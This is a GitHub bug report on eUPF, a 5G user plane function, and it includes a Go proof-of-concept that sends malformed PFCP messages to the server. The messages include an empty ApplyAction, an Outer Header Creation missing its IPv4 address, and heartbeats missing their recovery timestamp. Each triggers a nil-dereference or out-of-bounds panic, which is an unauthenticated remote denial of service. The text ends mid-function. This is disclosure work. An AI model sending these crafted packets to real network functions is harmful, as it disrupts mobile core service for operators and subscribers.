Skip to content

[Bug]UPF crashes on a malformed PFCP Session Establishment Request whose CreateFAR contains Outer Header Creation (OHC) with the IPv4 (V4) flag set but no IPv4Address field present #630

@LinZiyuu

Description

@LinZiyuu

Describe the bug
UPF crashes on a malformed PFCP Session Establishment Request whose CreateFAR contains Outer Header Creation (OHC) with the IPv4 flag set but no IPv4Address field present. In composeFarInfo() the code dereferences the missing IPv4 address (nil) and panics, causing a remote, unauthenticated DoS.

To Reproduce
Steps to reproduce the behavior:

  1. Launch eUPF
sudo docker run -d --privileged --network host \ -v /sys/fs/bpf:/sys/fs/bpf \ -v /sys/kernel/debug:/sys/kernel/debug:ro \ -e UPF_INTERFACE_NAME=lo \ -e UPF_N3_ADDRESS=127.0.0.1 \ -e UPF_PFCP_ADDRESS="0.0.0.0:8805" \ -e UPF_PFCP_NODE_ID=127.0.0.1 \ -e UPF_API_ADDRESS="0.0.0.0:8080" \ -e UPF_METRICS_ADDRESS="0.0.0.0:9090" \ --name eupf ghcr.io/edgecomllc/eupf:main
  1. Start a new go project inside a new folder and create a main.go and paste the code below:
  2. Init Project go mod init poc
package main

// eUPF PFCP Crash PoCs

import (
    "encoding/binary"
    "errors"
    "flag"
    "fmt"
    "log"
    "net"
    "strings"
    "time"

    "github.com/wmnsk/go-pfcp/ie"
    "github.com/wmnsk/go-pfcp/message"
)

const (
    modeSessionInvalidApply              = "session-invalid-applyaction"
    modeSessionFARIPv4FlagNil            = "session-far-ipv4-flag-nil"
    modeHeartbeatRequestMissingRecovery  = "heartbeat-request-missing-recovery"
    modeHeartbeatResponseMissingRecovery = "heartbeat-response-missing-recovery"
    modeSessionApplyActionRaw            = "session-applyaction-raw"
    modeSessionOuterHeaderRaw            = "session-outerheader-raw"
    modeSessionMalformedSDFFilter        = "session-malformed-sdf"
    modeAssociationHeartbeatTimeout      = "association-heartbeat-timeout"
    defaultCPSEID                        = 0x1111222233334444
    heartbeatResponseBufferSize          = 4096
    defaultWaitForResponse               = 5 * time.Second
    defaultAssociationRetrySleep         = 200 * time.Millisecond
)

type seqGenerator struct {
    val uint32
}

func (g *seqGenerator) Next() uint32 {
    g.val++
    if g.val == 0 || g.val > 0xFFFFFF {
        g.val = 1
    }
    return g.val
}

func forcePFCPv1(pkt []byte) {
    if len(pkt) > 0 {
        pkt[0] = (1 << 5) | (pkt[0] & 0x1F)
    }
}

func startReceiver(conn *net.UDPConn) (chan message.Message, chan error, func()) {
    msgCh := make(chan message.Message, 16)
    errCh := make(chan error, 1)
    stop := make(chan struct{})

    go func() {
        defer close(msgCh)
        defer close(errCh)

        buf := make([]byte, heartbeatResponseBufferSize)
        for {
            conn.SetReadDeadline(time.Now().Add(1 * time.Second))
            n, _, err := conn.ReadFromUDP(buf)
            if ne, ok := err.(net.Error); ok && ne.Timeout() {
                select {
                case <-stop:
                    return
                default:
                }
                continue
            }
            if err != nil {
                select {
                case errCh <- err:
                default:
                }
                return
            }

            payload := make([]byte, n)
            copy(payload, buf[:n])
            msg, err := message.Parse(payload)
            if err != nil {
                log.Printf("[rx] failed to parse PFCP message: %v", err)
                continue
            }

            switch msgTyped := msg.(type) {
            case *message.HeartbeatRequest:
                seq := msgTyped.Sequence()
                rsp := message.NewHeartbeatResponse(seq, ie.NewRecoveryTimeStamp(time.Now()))
                raw, err := rsp.Marshal()
                if err != nil {
                    log.Printf("[rx] failed to marshal Heartbeat Response: %v", err)
                    continue
                }
                forcePFCPv1(raw)
                if _, err := conn.Write(raw); err != nil {
                    log.Printf("[rx] failed to send Heartbeat Response: %v", err)
                } else {
                    log.Printf("[rx] ← Heartbeat Request (seq=%d) → responded", seq)
                }
            default:
                select {
                case msgCh <- msg:
                    log.Printf("[rx] ← %s (type=%d, seq=%d)", msg.MessageTypeName(), msg.MessageType(), msg.Sequence())
                default:
                    log.Printf("[rx] dropping %s: channel full", msg.MessageTypeName())
                }
            }

            select {
            case <-stop:
                return
            default:
            }
        }
    }()

    cancel := func() {
        close(stop)
    }

    return msgCh, errCh, cancel
}

func waitForMessage(msgCh <-chan message.Message, errCh <-chan error, timeout time.Duration, match func(message.Message) bool, description string) (message.Message, error) {
    timer := time.NewTimer(timeout)
    defer timer.Stop()

    for {
        select {
        case <-timer.C:
            return nil, fmt.Errorf("timeout waiting for %s", description)
        case err, ok := <-errCh:
            if ok && err != nil {
                return nil, fmt.Errorf("receiver error: %w", err)
            }
        case msg, ok := <-msgCh:
            if !ok {
                return nil, fmt.Errorf("receiver closed while waiting for %s", description)
            }
            if match(msg) {
                return msg, nil
            }
            log.Printf("[wait] ignoring unexpected message: %s (type=%d, seq=%d)", msg.MessageTypeName(), msg.MessageType(), msg.Sequence())
        }
    }
}

func performAssociation(conn *net.UDPConn, seqGen *seqGenerator, msgCh <-chan message.Message, errCh <-chan error, nodeID string, includeUPFInfo bool) error {
    nodeIE := ie.NewNodeID(nodeID, "", "")
    if nodeIE == nil {
        return errors.New("failed to build NodeID IE – ensure --bind is a valid IP or FQDN")
    }

    ies := []*ie.IE{
        nodeIE,
        ie.NewRecoveryTimeStamp(time.Now()),
    }
    if includeUPFInfo {
        ies = append(ies,
            ie.NewUPFunctionFeatures(0x10, 0x00, 0x00, 0x00),
            ie.NewUserPlaneIPResourceInformation(0x41, 0, nodeID, "", "", ie.SrcInterfaceAccess),
        )
    }

    assocSeq := seqGen.Next()
    req := message.NewAssociationSetupRequest(assocSeq, ies...)

    raw, err := req.Marshal()
    if err != nil {
        return fmt.Errorf("marshal association request: %w", err)
    }
    forcePFCPv1(raw)

    log.Printf("[assoc] → Association Setup Request (seq=%d)", assocSeq)
    if _, err := conn.Write(raw); err != nil {
        return fmt.Errorf("send association request: %w", err)
    }

    // Wait for response with timeout
    _, err = waitForMessage(msgCh, errCh, defaultWaitForResponse, func(m message.Message) bool {
        _, ok := m.(*message.AssociationSetupResponse)
        return ok
    }, "Association Setup Response")
    if err != nil {
        log.Printf("[assoc] WARNING: Did not receive Association Setup Response: %v", err)
        log.Printf("[assoc] This might be normal if eUPF crashed or rejected the request")
        log.Printf("[assoc] Continuing anyway - some PoCs may work without association...")
        // Don't return error - some attacks might work even without association
        // (e.g., HeartbeatRequest doesn't require association)
    } else {
        log.Printf("[assoc] Association established; ready for exploit traffic.")
    }
    return nil
}

// sendSessionInvalidApplyAction sends a Session Establishment Request with empty ApplyAction payload
// This triggers array index out of bounds in composeFarInfo() at pfcp_session_handlers.go:570
// when accessing applyAction[0] without checking array length
func sendSessionInvalidApplyAction(conn *net.UDPConn, seqGen *seqGenerator, localIP net.IP, nodeID string, dnn string) error {
    nodeIE := ie.NewNodeID(nodeID, "", "")
    if nodeIE == nil {
        return errors.New("unable to craft NodeID IE; supply --bind as valid IP or FQDN")
    }

    fseidIE := ie.NewFSEID(defaultCPSEID, localIP, nil)
    if fseidIE == nil {
        return errors.New("failed to craft F-SEID IE")
    }

    pdi := ie.NewPDI(
        ie.NewSourceInterface(ie.SrcInterfaceAccess),
        ie.NewNetworkInstance(dnn),
    )

    createPDR := ie.NewCreatePDR(
        ie.NewPDRID(1),
        ie.NewPrecedence(200),
        pdi,
        ie.NewFARID(1),
    )

    // Create FAR with valid ApplyAction first, then we'll modify it to have empty payload
    createFARBase := ie.NewCreateFAR(
        ie.NewFARID(1),
        ie.NewApplyAction(0x02), // Valid ApplyAction first
    )

    req := message.NewSessionEstablishmentRequest(0, 0, defaultCPSEID, seqGen.Next(), 0,
        nodeIE,
        fseidIE,
        createPDR,
        createFARBase,
        ie.NewAPNDNN(dnn),
    )

    raw, err := req.Marshal()
    if err != nil {
        return fmt.Errorf("marshal base session establishment request: %w", err)
    }

    // Manually modify ApplyAction IE to have empty payload
    // ApplyAction IE type is 0x002C (44)
    modified, err := modifyApplyActionToEmpty(raw)
    if err != nil {
        return fmt.Errorf("failed to modify ApplyAction: %w", err)
    }

    forcePFCPv1(modified)

    log.Printf("[poc] → Session Establishment Request (seq=%d, zero-length ApplyAction)", req.Sequence())
    log.Printf("[poc]   This triggers array index out of bounds in composeFarInfo() at pfcp_session_handlers.go:570")
    log.Printf("[poc]   when accessing applyAction[0] (ApplyAction payload is empty)")
    _, err = conn.Write(modified)
    if err != nil {
        return fmt.Errorf("failed to send session establishment request: %w", err)
    }
    log.Printf("[poc]   Message sent successfully. Check eUPF logs for panic stack traces.")
    return nil
}

// sendSessionApplyActionRaw crafts a Session Establishment Request whose FAR contains an ApplyAction IE with zero-length payload.
// Newer versions of go-pfcp/eUPF will reject this message gracefully, but it can be used to confirm the boundary checks.
func sendSessionApplyActionRaw(conn *net.UDPConn, seqGen *seqGenerator, localIP net.IP, nodeID string, dnn string) error {
    nodeIE := ie.NewNodeID(nodeID, "", "")
    if nodeIE == nil {
        return errors.New("unable to craft NodeID IE; supply --bind as valid IP or FQDN")
    }

    fseidIE := ie.NewFSEID(defaultCPSEID, localIP, nil)
    if fseidIE == nil {
        return errors.New("failed to craft F-SEID IE")
    }

    pdi := ie.NewPDI(
        ie.NewSourceInterface(ie.SrcInterfaceAccess),
        ie.NewNetworkInstance(dnn),
    )

    createPDR := ie.NewCreatePDR(
        ie.NewPDRID(10),
        ie.NewPrecedence(200),
        pdi,
        ie.NewFARID(10),
    )

    emptyApplyAction := ie.New(ie.ApplyAction, []byte{})
    createFAR := ie.NewCreateFAR(
        ie.NewFARID(10),
        emptyApplyAction,
    )

    req := message.NewSessionEstablishmentRequest(0, 0, defaultCPSEID, seqGen.Next(), 0,
        nodeIE,
        fseidIE,
        createPDR,
        createFAR,
        ie.NewAPNDNN(dnn),
    )

    raw, err := req.Marshal()
    if err != nil {
        return fmt.Errorf("marshal session establishment request (raw ApplyAction): %w", err)
    }
    forcePFCPv1(raw)

    log.Printf("[poc] → Session Establishment Request (seq=%d, raw ApplyAction length=0)", req.Sequence())
    log.Printf("[poc]   Expectation: go-pfcp should reject ApplyAction() with io.ErrUnexpectedEOF; eUPF should not crash.")
    _, err = conn.Write(raw)
    if err != nil {
        return fmt.Errorf("failed to send session establishment request: %w", err)
    }
    return nil
}

// modifyApplyActionToEmpty modifies a Session Establishment Request message
// to set ApplyAction IE payload to empty (length 0)
func modifyApplyActionToEmpty(msgBytes []byte) ([]byte, error) {
    const applyActionType = 0x002C // IE Type 44 (ApplyAction)
    const createFARType = 0x0003   // IE Type 3 (Create FAR)

    if len(msgBytes) < 12 {
        return nil, fmt.Errorf("message too short")
    }

    // Skip PFCP message header (4 bytes) and Session Establishment Request header
    // Session Establishment Request structure:
    // - PFCP Header (4 bytes): Version(3) + MessageType(5) + MessageLength(2) + S flag(1) + SEID(8) = 16 bytes
    // - Sequence Number (4 bytes): Sequence(3) + Spare(1)
    // - IEs start at position 16
    pos := 16
    var farStart, farEnd int = -1, -1
    var applyActionStart, applyActionEnd int = -1, -1

    log.Printf("[hex] Searching for CreateFAR in message (length: %d bytes)", len(msgBytes))
    log.Printf("[hex] Message header: %02x %02x %02x %02x", msgBytes[0], msgBytes[1], msgBytes[2], msgBytes[3])

    // Find CreateFAR IE - search all IEs in the message
    for pos < len(msgBytes)-4 {
        if pos+4 > len(msgBytes) {
            break
        }

        ieType := binary.BigEndian.Uint16(msgBytes[pos : pos+2])
        ieLength := uint16(msgBytes[pos+2])<<8 | uint16(msgBytes[pos+3])

        // Validate IE length
        if ieLength > 10000 || pos+4+int(ieLength) > len(msgBytes) {
            log.Printf("[hex] Invalid IE at position %d: type=0x%04x, length=%d", pos, ieType, ieLength)
            break
        }

        log.Printf("[hex] IE at position %d: type=0x%04x, length=%d", pos, ieType, ieLength)

        if ieType == createFARType {
            farStart = pos
            farEnd = pos + 4 + int(ieLength)
            log.Printf("[hex] Found CreateFAR at position %d, length: %d", pos, ieLength)

            // Search for ApplyAction within CreateFAR
            innerPos := pos + 4
            for innerPos < farEnd-4 {
                if innerPos+4 > farEnd {
                    break
                }
                innerType := binary.BigEndian.Uint16(msgBytes[innerPos : innerPos+2])
                innerLength := uint16(msgBytes[innerPos+2])<<8 | uint16(msgBytes[innerPos+3])

                if innerPos+4+int(innerLength) > farEnd {
                    log.Printf("[hex] Invalid inner IE at position %d: type=0x%04x, length=%d", innerPos, innerType, innerLength)
                    break
                }

                log.Printf("[hex] Inner IE at position %d: type=0x%04x, length=%d", innerPos, innerType, innerLength)

                if innerType == applyActionType {
                    applyActionStart = innerPos
                    applyActionEnd = innerPos + 4 + int(innerLength)
                    log.Printf("[hex] Found ApplyAction at position %d, length: %d", innerPos, innerLength)
                    break
                }

                innerPos += 4 + int(innerLength)
            }
            break
        }

        pos += 4 + int(ieLength)
    }

    if farStart == -1 {
        log.Printf("[hex] ERROR: CreateFAR (type=0x%04x) not found in message", createFARType)
        log.Printf("[hex] Searched from position %d to %d", 16, len(msgBytes))
        return nil, fmt.Errorf("CreateFAR not found in message")
    }
    if applyActionStart == -1 {
        log.Printf("[hex] ERROR: ApplyAction (type=0x%04x) not found in CreateFAR", applyActionType)
        return nil, fmt.Errorf("ApplyAction not found in CreateFAR")
    }

    // Create new ApplyAction IE with empty payload
    // IE Header: Type (2 bytes) + Length (2 bytes) = 4 bytes
    // Payload: empty (0 bytes)
    newApplyAction := make([]byte, 4)
    binary.BigEndian.PutUint16(newApplyAction[0:2], applyActionType)
    binary.BigEndian.PutUint16(newApplyAction[2:4], 0) // Length = 0 (empty payload)

    log.Printf("[hex] Original ApplyAction length: %d bytes", applyActionEnd-applyActionStart)
    log.Printf("[hex] New ApplyAction length: %d bytes (empty payload)", len(newApplyAction))

    // Reconstruct message
    result := make([]byte, 0, len(msgBytes)-(applyActionEnd-applyActionStart)+len(newApplyAction))
    result = append(result, msgBytes[:applyActionStart]...)
    result = append(result, newApplyAction...)
    result = append(result, msgBytes[applyActionEnd:farEnd]...)
    result = append(result, msgBytes[farEnd:]...)

    // Update CreateFAR length
    oldFarLength := farEnd - farStart - 4
    newFarLength := oldFarLength - (applyActionEnd - applyActionStart) + len(newApplyAction)
    binary.BigEndian.PutUint16(result[farStart+2:farStart+4], uint16(newFarLength))

    // Update message length in header (bytes 2-3)
    oldMsgLength := binary.BigEndian.Uint16(msgBytes[2:4])
    newMsgLength := oldMsgLength - uint16(applyActionEnd-applyActionStart) + uint16(len(newApplyAction))
    binary.BigEndian.PutUint16(result[2:4], newMsgLength)

    log.Printf("[hex] Message length updated: %d -> %d bytes", oldMsgLength, newMsgLength)

    return result, nil
}

// sendSessionFARIPv4FlagNil sends a Session Establishment Request with OuterHeaderCreation
// that has HasIPv4() flag set but IPv4Address is nil
// This triggers nil pointer dereference in composeFarInfo() at pfcp_session_handlers.go:591
// when accessing outerHeaderCreation.IPv4Address in binary.LittleEndian.Uint32()
func sendSessionFARIPv4FlagNil(conn *net.UDPConn, seqGen *seqGenerator, localIP net.IP, nodeID string, dnn string) error {
    nodeIE := ie.NewNodeID(nodeID, "", "")
    if nodeIE == nil {
        return errors.New("unable to craft NodeID IE; supply --bind as valid IP or FQDN")
    }

    fseidIE := ie.NewFSEID(defaultCPSEID, localIP, nil)
    if fseidIE == nil {
        return errors.New("failed to craft F-SEID IE")
    }

    pdi := ie.NewPDI(
        ie.NewSourceInterface(ie.SrcInterfaceAccess),
        ie.NewNetworkInstance(dnn),
    )

    createPDR := ie.NewCreatePDR(
        ie.NewPDRID(1),
        ie.NewPrecedence(200),
        pdi,
        ie.NewFARID(1),
    )

    // Create base FAR with valid OuterHeaderCreation first
    // We'll manually modify it to have HasIPv4 flag but nil IPv4Address
    baseOuterHeader := ie.NewOuterHeaderCreation(0x0100, 0x12345678, localIP.String(), "", 0, 0, 0)
    createFAR := ie.NewCreateFAR(
        ie.NewFARID(1),
        ie.NewApplyAction(0x02), // Forward action
        ie.NewForwardingParameters(
            ie.NewDestinationInterface(ie.DstInterfaceCore),
            baseOuterHeader,
        ),
    )

    req := message.NewSessionEstablishmentRequest(0, 0, defaultCPSEID, seqGen.Next(), 0,
        nodeIE,
        fseidIE,
        createPDR,
        createFAR,
        ie.NewAPNDNN(dnn),
    )

    raw, err := req.Marshal()
    if err != nil {
        return fmt.Errorf("marshal base session establishment request: %w", err)
    }

    // Manually modify OuterHeaderCreation to have HasIPv4 flag but remove IPv4Address
    modified, err := modifyOuterHeaderCreationIPv4FlagNil(raw)
    if err != nil {
        return fmt.Errorf("failed to modify OuterHeaderCreation: %w", err)
    }

    forcePFCPv1(modified)

    log.Printf("[poc] → Session Establishment Request (seq=%d, FAR OuterHeaderCreation HasIPv4 flag set but IPv4Address nil)", req.Sequence())
    log.Printf("[poc]   This triggers nil pointer dereference in composeFarInfo() at pfcp_session_handlers.go:591")
    log.Printf("[poc]   when accessing outerHeaderCreation.IPv4Address in binary.LittleEndian.Uint32()")
    log.Printf("[poc]   (HasIPv4() returns true but IPv4Address is nil)")
    _, err = conn.Write(modified)
    if err != nil {
        return fmt.Errorf("failed to send session establishment request: %w", err)
    }
    log.Printf("[poc]   Message sent successfully. Check eUPF logs for panic stack traces.")
    return nil
}

// sendSessionOuterHeaderRaw crafts a Session Establishment Request whose FAR sets the IPv4 flag but omits the IPv4 address.
// go-pfcp will treat this as malformed; eUPF should reject it without crashing. Useful for regression testing.
func sendSessionOuterHeaderRaw(conn *net.UDPConn, seqGen *seqGenerator, localIP net.IP, nodeID string, dnn string) error {
    nodeIE := ie.NewNodeID(nodeID, "", "")
    if nodeIE == nil {
        return errors.New("unable to craft NodeID IE; supply --bind as valid IP or FQDN")
    }

    fseidIE := ie.NewFSEID(defaultCPSEID, localIP, nil)
    if fseidIE == nil {
        return errors.New("failed to craft F-SEID IE")
    }

    pdi := ie.NewPDI(
        ie.NewSourceInterface(ie.SrcInterfaceAccess),
        ie.NewNetworkInstance(dnn),
    )

    createPDR := ie.NewCreatePDR(
        ie.NewPDRID(20),
        ie.NewPrecedence(200),
        pdi,
        ie.NewFARID(20),
    )

    // OuterHeaderCreation payload: flags with V4 bit set, TEID present, but IPv4 bytes omitted.
    rawOHC := []byte{
        0x01, 0x00, // Outer Header Creation Description: TEID + IPv4 flag (bit interpretations depend on spec; this combination used historically)
        0x12, 0x34, 0x56, 0x78, // TEID
        // Intentionally stop here without providing IPv4 bytes.
    }
    ohcIE := ie.New(ie.OuterHeaderCreation, rawOHC)

    createFAR := ie.NewCreateFAR(
        ie.NewFARID(20),
        ie.NewApplyAction(0x02),
        ie.NewForwardingParameters(
            ie.NewDestinationInterface(ie.DstInterfaceCore),
            ohcIE,
        ),
    )

    req := message.NewSessionEstablishmentRequest(0, 0, defaultCPSEID, seqGen.Next(), 0,
        nodeIE,
        fseidIE,
        createPDR,
        createFAR,
        ie.NewAPNDNN(dnn),
    )

    raw, err := req.Marshal()
    if err != nil {
        return fmt.Errorf("marshal session establishment request (raw OHC): %w", err)
    }
    forcePFCPv1(raw)

    log.Printf("[poc] → Session Establishment Request (seq=%d, raw OuterHeaderCreation missing IPv4)", req.Sequence())
    log.Printf("[poc]   Expectation: go-pfcp/eUPF should reject the malformed OuterHeaderCreation without crashing.")
    _, err = conn.Write(raw)
    if err != nil {
        return fmt.Errorf("failed to send session establishment request: %w", err)
    }
    return nil
}

// sendSessionMalformedSDFFilter crafts a Session Establishment Request whose SDF Filter is intentionally malformed.
func sendSessionMalformedSDFFilter(conn *net.UDPConn, seqGen *seqGenerator, localIP net.IP, nodeID string, dnn string) error {
    nodeIE := ie.NewNodeID(nodeID, "", "")
    if nodeIE == nil {
        return errors.New("unable to craft NodeID IE; supply --bind as valid IP or FQDN")
    }

    fseidIE := ie.NewFSEID(defaultCPSEID, localIP, nil)
    if fseidIE == nil {
        return errors.New("failed to craft F-SEID IE")
    }

    sdf := ie.NewSDFFilter("permit out ip from", "", "", "", 0)
    pdi := ie.NewPDI(
        ie.NewSourceInterface(ie.SrcInterfaceAccess),
        ie.NewNetworkInstance(dnn),
        sdf,
    )

    createPDR := ie.NewCreatePDR(
        ie.NewPDRID(30),
        ie.NewPrecedence(200),
        pdi,
        ie.NewFARID(30),
    )

    createFAR := ie.NewCreateFAR(
        ie.NewFARID(30),
        ie.NewApplyAction(0x02),
    )

    req := message.NewSessionEstablishmentRequest(0, 0, defaultCPSEID, seqGen.Next(), 0,
        nodeIE,
        fseidIE,
        createPDR,
        createFAR,
        ie.NewAPNDNN(dnn),
    )

    raw, err := req.Marshal()
    if err != nil {
        return fmt.Errorf("marshal session establishment request (malformed SDF): %w", err)
    }
    forcePFCPv1(raw)

    log.Printf("[poc] → Session Establishment Request (seq=%d, malformed SDF Filter)", req.Sequence())
    log.Printf("[poc]   Expectation: eUPF should reject or log an error; older builds may panic in ParsePortRange.")
    _, err = conn.Write(raw)
    if err != nil {
        return fmt.Errorf("failed to send session establishment request: %w", err)
    }
    return nil
}

// modifyOuterHeaderCreationIPv4FlagNil modifies a Session Establishment Request message
// to set HasIPv4 flag in OuterHeaderCreation but remove the IPv4Address field
func modifyOuterHeaderCreationIPv4FlagNil(msgBytes []byte) ([]byte, error) {
    const outerHeaderCreationType = 0x0054 // IE Type 84 (Outer Header Creation)
    const createFARType = 0x0003           // IE Type 3 (Create FAR)
    const forwardingParametersType = 0x001b

    if len(msgBytes) < 12 {
        return nil, fmt.Errorf("message too short")
    }

    // Skip PFCP message header (4 bytes) + SEID (8 bytes) + sequence (4 bytes)
    pos := 16
    var farStart, farEnd int = -1, -1
    var fwdStart, fwdEnd int = -1, -1
    var ohcStart, ohcEnd int = -1, -1

    // Find CreateFAR IE
    for pos < len(msgBytes)-4 {
        if pos+4 > len(msgBytes) {
            break
        }

        ieType := binary.BigEndian.Uint16(msgBytes[pos : pos+2])
        ieLength := uint16(msgBytes[pos+2])<<8 | uint16(msgBytes[pos+3])

        if ieType == createFARType {
            farStart = pos
            farEnd = pos + 4 + int(ieLength)
            log.Printf("[hex] Found CreateFAR at position %d, length: %d", pos, ieLength)

            // Search for ForwardingParameters within CreateFAR
            innerPos := pos + 4
            for innerPos < farEnd-4 {
                if innerPos+4 > farEnd {
                    break
                }

                innerType := binary.BigEndian.Uint16(msgBytes[innerPos : innerPos+2])
                innerLength := uint16(msgBytes[innerPos+2])<<8 | uint16(msgBytes[innerPos+3])

                if innerType == forwardingParametersType {
                    fwdStart = innerPos
                    fwdEnd = innerPos + 4 + int(innerLength)
                    log.Printf("[hex] Found ForwardingParameters at position %d, length: %d", innerPos, innerLength)

                    // Search for OuterHeaderCreation within ForwardingParameters
                    fpPos := innerPos + 4
                    for fpPos < fwdEnd-4 {
                        if fpPos+4 > fwdEnd {
                            break
                        }
                        fpType := binary.BigEndian.Uint16(msgBytes[fpPos : fpPos+2])
                        fpLength := uint16(msgBytes[fpPos+2])<<8 | uint16(msgBytes[fpPos+3])

                        if fpType == outerHeaderCreationType {
                            ohcStart = fpPos
                            ohcEnd = fpPos + 4 + int(fpLength)
                            log.Printf("[hex] Found OuterHeaderCreation at position %d, length: %d", fpPos, fpLength)
                            break
                        }

                        fpPos += 4 + int(fpLength)
                    }
                    break
                }

                innerPos += 4 + int(innerLength)
            }
            break
        }

        pos += 4 + int(ieLength)
        if pos > len(msgBytes) {
            break
        }
    }

    if farStart == -1 {
        return nil, fmt.Errorf("CreateFAR not found in message")
    }
    if fwdStart == -1 {
        return nil, fmt.Errorf("ForwardingParameters not found in CreateFAR")
    }
    if ohcStart == -1 {
        return nil, fmt.Errorf("OuterHeaderCreation not found in CreateFAR")
    }

    // OuterHeaderCreation structure:
    // - IE Header (4 bytes): Type (2) + Length (2)
    // - Flags (2 bytes): bit 0 = V4, bit 1 = V6, etc.
    // - TEID (4 bytes)
    // - IPv4Address (4 bytes) - if V4 flag is set
    // - IPv6Address (16 bytes) - if V6 flag is set
    // - etc.

    ohcPayloadStart := ohcStart + 4
    if ohcPayloadStart+2 > ohcEnd {
        return nil, fmt.Errorf("OuterHeaderCreation payload too short")
    }

    // Read current flags
    currentFlags := binary.BigEndian.Uint16(msgBytes[ohcPayloadStart : ohcPayloadStart+2])
    log.Printf("[hex] Current OuterHeaderCreation flags: 0x%04x", currentFlags)

    // Check if V4 flag is set (bit 0)
    if currentFlags&0x0100 == 0 {
        return nil, fmt.Errorf("V4 flag not set in OuterHeaderCreation")
    }

    // Check if IPv4Address field exists (should be at offset 6 from payload start)
    if ohcPayloadStart+10 > ohcEnd {
        return nil, fmt.Errorf("OuterHeaderCreation too short for IPv4Address")
    }

    // Create new OuterHeaderCreation without IPv4Address
    // Keep flags with V4 bit set, but remove IPv4Address field
    // New structure: Flags(2) + TEID(4) only
    newOHCPayload := make([]byte, 6)
    copy(newOHCPayload, msgBytes[ohcPayloadStart:ohcPayloadStart+6]) // Copy Flags + TEID

    // Update flags to keep V4 bit set (this is the key - HasIPv4() will return true)
    // But we've removed the IPv4Address field, so IPv4Address will be nil
    newOHCPayload[0] = byte((currentFlags >> 8) & 0xFF)
    newOHCPayload[1] = byte(currentFlags & 0xFF)

    newOHC := make([]byte, 4+len(newOHCPayload))
    binary.BigEndian.PutUint16(newOHC[0:2], outerHeaderCreationType)
    binary.BigEndian.PutUint16(newOHC[2:4], uint16(len(newOHCPayload)))
    copy(newOHC[4:], newOHCPayload)

    log.Printf("[hex] Original OuterHeaderCreation length: %d bytes", ohcEnd-ohcStart)
    log.Printf("[hex] New OuterHeaderCreation length: %d bytes", len(newOHC))
    log.Printf("[hex] Removed %d bytes (IPv4Address field)", (ohcEnd-ohcStart)-len(newOHC))

    // Reconstruct message
    result := make([]byte, 0, len(msgBytes)-(ohcEnd-ohcStart)+len(newOHC))
    result = append(result, msgBytes[:ohcStart]...)
    result = append(result, newOHC...)
    result = append(result, msgBytes[ohcEnd:fwdEnd]...)
    result = append(result, msgBytes[fwdEnd:farEnd]...)
    result = append(result, msgBytes[farEnd:]...)

    // Update ForwardingParameters length
    oldFwdLength := fwdEnd - fwdStart - 4
    newFwdLength := oldFwdLength - (ohcEnd - ohcStart) + len(newOHC)
    binary.BigEndian.PutUint16(result[fwdStart+2:fwdStart+4], uint16(newFwdLength))

    // Update CreateFAR length
    oldFarLength := farEnd - farStart - 4
    newFarLength := oldFarLength - (ohcEnd - ohcStart) + len(newOHC)
    binary.BigEndian.PutUint16(result[farStart+2:farStart+4], uint16(newFarLength))

    // Update message length in header (bytes 2-3)
    oldMsgLength := binary.BigEndian.Uint16(msgBytes[2:4])
    newMsgLength := oldMsgLength - uint16(ohcEnd-ohcStart) + uint16(len(newOHC))
    binary.BigEndian.PutUint16(result[2:4], newMsgLength)

    log.Printf("[hex] Message length updated: %d -> %d bytes", oldMsgLength, newMsgLength)

    return result, nil
}

// sendHeartbeatRequestMissingRecovery sends a HeartbeatRequest without RecoveryTimeStamp IE
// This triggers nil pointer dereference in HandlePfcpHeartbeatRequest() at pfcp_hearbeat.go:13
// when accessing hbreq.RecoveryTimeStamp.RecoveryTimeStamp()
func sendHeartbeatRequestMissingRecovery(conn *net.UDPConn, seqGen *seqGenerator) error {
    seq := seqGen.Next()

    // Create HeartbeatRequest without RecoveryTimeStamp
    // go-pfcp library requires RecoveryTimeStamp, so we need to manually construct the message
    req := message.NewHeartbeatRequest(seq, ie.NewRecoveryTimeStamp(time.Now()), nil)
    raw, err := req.Marshal()
    if err != nil {
        return fmt.Errorf("marshal base heartbeat request: %w", err)
    }

    // Remove RecoveryTimeStamp IE from message
    // RecoveryTimeStamp IE type is 0x0060 (96)
    modified, err := removeIEFromMessage(raw, 0x0060)
    if err != nil {
        return fmt.Errorf("failed to remove RecoveryTimeStamp IE: %w", err)
    }

    forcePFCPv1(modified)

    log.Printf("[poc] → Heartbeat Request (seq=%d, missing RecoveryTimeStamp IE)", seq)
    log.Printf("[poc]   This triggers nil pointer dereference in HandlePfcpHeartbeatRequest() at pfcp_hearbeat.go:13")
    log.Printf("[poc]   when accessing hbreq.RecoveryTimeStamp.RecoveryTimeStamp() (RecoveryTimeStamp is nil)")
    _, err = conn.Write(modified)
    if err != nil {
        return fmt.Errorf("failed to send heartbeat request: %w", err)
    }
    log.Printf("[poc]   Message sent successfully. Check eUPF logs for panic stack traces.")
    return nil
}

// sendHeartbeatResponseMissingRecovery sends a HeartbeatResponse without RecoveryTimeStamp IE
// This triggers nil pointer dereference in HandlePfcpHeartbeatResponse() at pfcp_hearbeat.go:28
// when accessing hbresp.RecoveryTimeStamp.RecoveryTimeStamp()
func sendHeartbeatResponseMissingRecovery(conn *net.UDPConn, seqGen *seqGenerator) error {
    seq := seqGen.Next()

    // Create HeartbeatResponse without RecoveryTimeStamp
    // go-pfcp library requires RecoveryTimeStamp, so we need to manually construct the message
    rsp := message.NewHeartbeatResponse(seq, ie.NewRecoveryTimeStamp(time.Now()))
    raw, err := rsp.Marshal()
    if err != nil {
        return fmt.Errorf("marshal base heartbeat response: %w", err)
    }

    // Remove RecoveryTimeStamp IE from message
    // RecoveryTimeStamp IE type is 0x0060 (96)
    modified, err := removeIEFromMessage(raw, 0x0060)
    if err != nil {
        return fmt.Errorf("failed to remove RecoveryTimeStamp IE: %w", err)
    }

    forcePFCPv1(modified)

    log.Printf("[poc] → Heartbeat Response (seq=%d, missing RecoveryTimeStamp IE)", seq)
    log.Printf("[poc]   This triggers nil pointer dereference in HandlePfcpHeartbeatResponse() at pfcp_hearbeat.go:28")
    log.Printf("[poc]   when accessing hbresp.RecoveryTimeStamp.RecoveryTimeStamp() (RecoveryTimeStamp is nil)")
    log.Printf("[poc]   Note: This requires eUPF to send a HeartbeatRequest first, or manually trigger")
    _, err = conn.Write(modified)
    if err != nil {
        return fmt.Errorf("failed to send heartbeat response: %w", err)
    }
    log.Printf("[poc]   Message sent successfully. Check eUPF logs for panic stack traces.")
    return nil
}

// removeIEFromMessage removes an IE of the specified type from a PFCP message
func removeIEFromMessage(msgBytes []byte, ieTypeToRemove uint16) ([]byte, error) {
    if len(msgBytes) < 4 {
